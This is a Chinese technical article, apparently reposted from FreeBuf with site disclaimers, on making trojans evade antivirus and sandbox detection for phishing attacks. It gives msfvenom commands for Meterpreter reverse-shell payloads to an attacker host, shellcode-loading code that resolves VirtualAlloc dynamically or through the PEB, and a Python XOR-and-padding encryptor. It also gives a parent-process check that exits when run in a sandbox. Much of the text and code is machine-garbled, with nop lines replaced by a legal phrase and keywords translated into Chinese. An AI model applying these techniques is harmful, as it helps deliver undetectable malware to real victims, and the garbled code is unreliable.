*郑重声明:本文仅限于技术讨论和分享,严禁以非法方式使用。
在实战演练中,攻击者需要通过各种手段渗透到企业的相关资产中,挖出企业资产中的漏洞才能得分。这几年这类漏洞挖掘的攻防竞争似乎都集中在web上,web上的漏洞和分数可能更多。但是除了web,apt攻击也是一种不错的攻击技术,运气好的话可以直接进入内网。在apt攻击中,网络钓鱼邮件可能使用得更频繁。一方面,钓鱼的成功与钓鱼副本的吸引力以及木马是否免于被杀密切相关。以下是一些常见的免杀技巧。
0×1壳码动态加载
Shellcode中的代码是敏感的。如果代码中的攻击代码太多,很容易被软件杀死,这样很难避免被杀死。因此,我们需要单独编译主攻击代码,静态存储在数据段中,只在代码块中保留一些无害的代码,然后在程序执行时申请一个可执行内存,然后将这个攻击代码复制到申请的内存中执行,以使被杀死的概率最小化。那么问题来了,shellcode怎么生成?如果你牛逼,可以自己写,如果图方便,可以用msf生成。通用生成有效载荷命令可参考以下内容:
1、msfvene-p windows/meter preter/reverse _ http-e x86/shikata _ ga _ nai-I 12-b ' x00 ' LHOST =[您的远程ip地址]LPORT =[listeningport]-f c & gt;hacker.c
2、msfvene-p windows/meter preter/reverse _ TCP-e x86/shikata _ ga _ nai-I 12-b ' x00 ' LHOST =[您的远程ip地址]LPORT =[监听端口]-f c & gt;hacker.c
3、msfvene-p windows/meter preter/reverse _ TCP _ RC4-e x86/shikata _ ga _ nai-I 12-b ' x00 ' LHOST =[您的远程ip地址]LPORT =[监听端口] -f c >等;hacker.c
这里提供了一个使用msf生成shellcode的例子,其中replications _ TCP _ RC4可以用来加密回复,有助于避免查杀。我们在这里生成的是一串十六进制字节数组,我们可以将其添加到我们的vs项目中,并在程序运行执行shellcode时动态加载。
0×2敏感API动态调用
有些软件会检查iat中的一些敏感函数(Import AddressTable,顾名思义,IAT表存储程序从外部动态链接库调用的函数地址)。比如火眼。检查代码位置后,发现Fireeye会检查virtualalloc函数。Virtualalloc的作用是申请内存,我们在这里使用virtualalloc的原因之一是需要设置内存的可执行属性,这个很重要。如果我们从shellcode复制的内存块没有执行权限,那么我们的shellcode就无法执行。
那么我们如何绕过火眼的检测呢?这里的解决方案是通过动态调用API函数来调用virtualalloc函数。具体来说,加载kernel32.dll库,从内核32库中获取内存中virtualalloc函数的地址,然后执行它。这部分功能可以通过以下代码实现:
HMODULE HMODULE = LoadLibrary(_ T(" kernel 32 . dll ");
HANDLE shellcode _ handler
FARPROC Address = GetProcAddress(hModule," Virtual alloc ");//获取virtualalloc的地址
_asm
{
推送40h//推送参数传输
推送1000小时
推送29Ah
推送0
调用地址//函数调用
movshellcode_handler,eax
}
memcpy(shellcode_handler,newhellcode,sizeof newhellcode);
((void(*))shell code _ handler);
这样virtualalloc函数的地址就不会出现在iat表中。然而,在我们解决了virtualloc的麻烦之后,一个麻烦出现了。当我们动态调用virtualalloc时,使用loadLibrary函数。有些杀毒公司会把loadLibrary函数当成敏感函数,比如俄罗斯的VBA32,这是很伤人的。但是,把loadLibrary函数看成是杀人太野蛮了。但是如果想解决,可以使用virtualprotect函数直接修改数据段的可执行属性,然后在程序执行时跳转到这个内存地址执行。然后问题又来了。virtualprotect也应该有很多api来杀死软点。因此,这个loadLibrary函数最终会解决这个问题。其实不需要通过loadLibrary获取kernel32.dll图书馆的地址,也可以从PEB获取,可以通过以下代码获取:
_asm {
Mov esi,fs:[0x30]//获取PEB地址
Mov esi,[esi+0xc]//指向PEB_LDR_DATA结构的第一个地址
Mov esi,[esi+0x1c]//双向链表的地址
Mov esi,[esi]//获取第二个条目kernelBase的链表
Mov esi,[esi]//获取第三个条目kernel32链表(win10)
Mov esi,[esi+0x8] //kernel32.dll地址
mov hModule,esi
}
果然这个方法可以通过vba32,但是问题又来了。有些厂商会测试这个代码,比如富通的杀毒引擎会测试这个代码。但是这是基于机器码检测的,对于机器码匹配,基本上就是模式匹配,所以我们只需要在代码中加入一些nop指令,具体代码如下:
_asm {
Mov esi,fs:[0x30]//获取PEB地址
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
Mov esi,[esi+0xc]//指向PEB_LDR_DATA结构的第一个地址
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
Mov esi,[esi+0x1c]//双向链表的地址
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
Mov esi,[esi]//获取第二个条目kernelBase的链表
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
Mov esi,[esi]//获取第三个条目kernel32链表(win10)
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
Mov esi,[esi+0x8] //kernel32.dll地址
nototherwiseprovided(for)除非另有规定
nototherwiseprovided(for)除非另有规定
mov hModule,esi
}
就问这波操作骚不骚,哈哈。
0×3壳码加密
最重要的是shellcode的加密。那么,杀软是怎么找到我们的壳码的呢?以及如何杀死我们的壳码?为什么我的shellcode会被加密或者被杀死?
让我们看看编译后的shellcode在pe文件中的样子。首先我们知道字符串数组的初始化内容存储在PE文件的rdata段。以下是ida的观点:
其对应pe文件的十六进制信息如下:
从B8往下665字节是我们的外壳代码。杀毒软件应该是这里找到的字符串特征值。
让我们看看这个外壳代码的引用位置:
我们可以看到这里有一个字符串复制操作。也就是说,从该地址开头的& Unk _ 402108,将0xa65字节复制到地址v15。0xa65是十进制2661,正好是我们的shellcode长度+一个' 0 '字符,也就是2660+1。这里,0×229是十进制665,这是我们解密的外壳代码的长度。
以下是解密代码:
相应的加密代码是:
defgenerate_payload(shellcode):
ba=bytearray(shellcode)
newhellcode =[]
res= ' '
对于ba中的b:
nchar=" "
b=b^113^0x77
b =十六进制(b)
对于I范围(1,len(b)):
nchar=nchar+b[i]
res=res+nchar
newhellcode . append(nchar)
垃圾桶="x00 "
nnshellcode=[]
对于范围内的I(4 * len(new hell code)):
如果i%4==0: #ou
nnshellcode . append(newhellcode[int(I/4)]
else:
nnshellcode.append(垃圾桶)
fres= ' '
对于nnshellcode中的I:
fres=fres+i
打印(fres)
简单解释一下加密码。这里壳码用113和0×77异或,然后壳码中相邻的两个字节用三个x00 (空字节填充。在实际测量中,该方法可以通过仪表前有效载荷的所有检测。我猜,查杀软件应该是收集了meterpreter的一大波十六进制特征作为识别恶意攻击代码的依据。他们可以进一步异或这些特征码,以匹配更多潜在的攻击代码。所以在网上做一个异或,十行代码免杀,肯定不靠谱,最多免杀一两天。并在相邻字节中间插入x00,有效避免那些十六进制签名。想想也是对的。不能用一堆空字节作为杀人的依据。为什么要在这里用x00而不用其他?我的考虑是查杀软件收集的签名后面可能会有ef 11 3a ed等连续的非空字节,而ef00000一般不作为签名使用。然后用自定义字节随机填充两个字节,比如a1 a2 a3 a4。这种情况有一定的匹配概率。毕竟查杀软件的特征库庞大,误报几个也是正常的。所以综合考虑还是填空字节比较好。
然而我还是很幼稚。现在的软杀伤不仅仅是基于这些特征值的匹配。昨天自信空字节被填充并杀死,今天被360杀死。那么,逃避杀戮的理由是什么呢?我猜这些引擎在virustotal上的检测结果是互相共享的,或者有些软件会先和本地的特征数据库进行比对,如果无法比对就直接上传到virustotal上,让virustotal分析一波,如果有病毒举报就提取样本特征。当然,有些查杀软件不会傻到完成直接md5存储,但还是会做一些相似度分析。依据在哪里?在我之前装满00的马被杀后,我对原来的有效载荷进行异或变异,结果还是被杀。说的有道理,如果是md5特征比较,是打不死的,肯定是做过相似度分析的。我的原始shellcode用3 空字节填充了两个相邻的字节。它的相似性分析应该是把我的shellcode异或几次,然后取特征值。为了验证我的想法,我把00 空字节的填充位数改成了9,真的让我免于杀戮。本来我想,既然可以知道样本是病毒,为什么不鉴定一下它的结构特征呢?这些有效载荷只是异或加密吗?Rsa和des就不说了,一些经典的加密算法也是可以的。我认为我们至少应该找出这些外壳代码中一些共同的结构特征。例如,外壳代码的每个字节都以算术级数或其他形式存储,因此我们可以对这种结构进行特征识别。我们为什么要做结构识别?这不是工作量很大吗?有多少种可能的结构。其实我觉得,最起码要认识到一个连续区域有一个特殊的情况,就是一个字节和另一个字节之间有很多相同的字节,在这种情况下很可能是一个装满垃圾数据的shellcode。此外,这些数据填充了相同的字节,以防止它们被静态十六进制特征匹配,如yara或clamav,这是一个错误的肯定。所以我觉得可以去掉这些填充的签名,然后进一步组合这些没有垃圾数据的签名。
0×4虚拟机反调试
那么问题来了,如何对抗云沙盒检测?我们知道,很多软件都有自己的后端云沙箱,可以模拟软件执行所需的运行环境,通过process hook技术分析软件执行过程的行为,判断其是否存在敏感的操作行为,或者更高级的检测技术是将获取的程序的API调用序列等行为特征输入智能分析引擎(基于机器学习组织)进行检测。所以如果我们的木马调试不到位,很容易被沙盒检测到。
目前我的马只有9k大小,可以上传到云中的沙盒里测试。所以我们还需要做一些反调试操作来阻碍云沙盒的行为检测。最简单的反调试措施是检测父进程。一般来说,我们手动点击执行的程序的父进程是explore。如果程序的父进程不是explor,那么我们可以说它是由沙箱启动的。那我们就直接退出,这样就不能继续分析自己的行为了。具体实现代码如下:
DWORD get _ parent _ processid(DWORD PID)
{
dword parentProcessID =-1;
PROCESSENTRY32pe
HANDLEhkz
hmoduleh module = LoadLibrary(_ T(" kernel 32 . dll "));
FARPROCAddress = GetProcAddress(hModule,“createToolhelp 32 snapshot”);
如果(地址==空)
{
outputdebugsting(_ T(" GetProc错误");
return-1;
}
_asm
{
push0
push2
callAddress
movhkz,eax
}
PE . DWSiZe = sizeof(PRocESENTRY32);
if(process 32 first(hkz & amp;pe))
{
做
{
if(pe.th32ProcessID == pid)
{
parent processid = PE . th32 parent processid;
打破;
}
} while(process 32 next(hkz & amp;PE));
}
returnParentProcessID
}
DWORD get_explorer_processid
{
dword explorer _ id =-1;
PROCESSENTRY32pe
HANDLEhkz
hmoduleh module = LoadLibrary(_ T(" kernel 32 . dll "));
if(hm module = =空)
{
outputdebugsting(_ T(" Loaddll错误"));
return-1;
}
FARPROCAddress = GetProcAddress(hModule,“createToolhelp 32 snapshot”);
如果(地址==空)
{
outputdebugsting(_ T(" GetProc错误");
return-1;
}
_asm
{
push0
push2
callAddress
movhkz,eax
}
PE . DWSiZe = sizeof(PRocESENTRY32);
if(process 32 first(hkz & amp;pe))
{
做
{
if(_ stricmp(PE . szeexefile," explorer.exe") == 0)
{
explorer _ id = pe.th32ProcessID
打破;
}
} while(process 32 next(hkz & amp;PE));
}
returnexplorer _ id
}
无效域{
dword explorer _ id = get _ explorer _ processid;
dword ParaMeter _ id = get _ ParaMeter _ processid(GetCurrentProcesid);
If(explorer_id == parent_id)//确定父进程id是否与浏览器进程id相同
{
dowork
}
else {
出口(1);
}
}
这里的主要思想是调用kernel32库中的CreateToolhelp32Snapshot函数获取一个进程快照信息,然后从快照中获取explorer.exe的进程id信息,然后通过当前进程的pid信息在进程快照中找到其父进程的id信息,最后比较两者来判断当前进程是否手动启动。当然,反调试措施不仅仅是检测父进程,而是通过调用windows的API接口IsDebuggerPresent来检查当前进程是否正在调试。为了检测去调试,您还可以检查进程堆的标识符号。当系统创建一个进程时,标志将被设置为0×02(HEAP_GROWABLE),强制标志将被设置为0。但进程调试时,这两个标志通常设置为0x50000062h和0x40000060h。当然,你也可以使用特权指令ineax和dx来避免杀戮。
最后,在virustotal上显示测试结果:
0×5 postscript
当然,随着病毒检测技术的不断完善,目前的病毒检测技术中已经引入了一些机器学习技术,比如利用两类支持向量机对普通软件和恶意软件进行分类,利用多类支持向量机对蠕虫、病毒、木马和普通软件进行分类。利用机器学习检测病毒的技术前提是收集和整理足够数量样本的特征数据,如注册表行为、引导行为、隐藏和保护行为、进程行为、文件行为、网络行为等。一般来说,这些行为特征都可以在程序的API调用序列中体现出来。所以在很多学术论文中,都会把程序的API调用序列作为行为特征的主要训练集。通过不断优化算法,相信通过海量数据训练获得的病毒查杀能力技术应该是未来反病毒引擎的主要方向。然而魔术一尺高,路一丈高。我觉得打打杀杀之间应该是相互促进的关系。这几天,算是第一次瞥见杀人。我相信还有更先进的免杀技术等着我们去发现。
*作者:pOny@moresec,本文属于FreeBuf原创奖励计划,未经许可禁止转载。
1.《木马免杀 安全视角下的木马免杀技术讨论》援引自互联网,旨在传递更多网络信息知识,仅代表作者本人观点,与本网站无关,侵删请联系页脚下方联系方式。
2.《木马免杀 安全视角下的木马免杀技术讨论》仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证。
3.文章转载时请保留本站内容来源地址,https://www.lu-xu.com/yule/1394941.html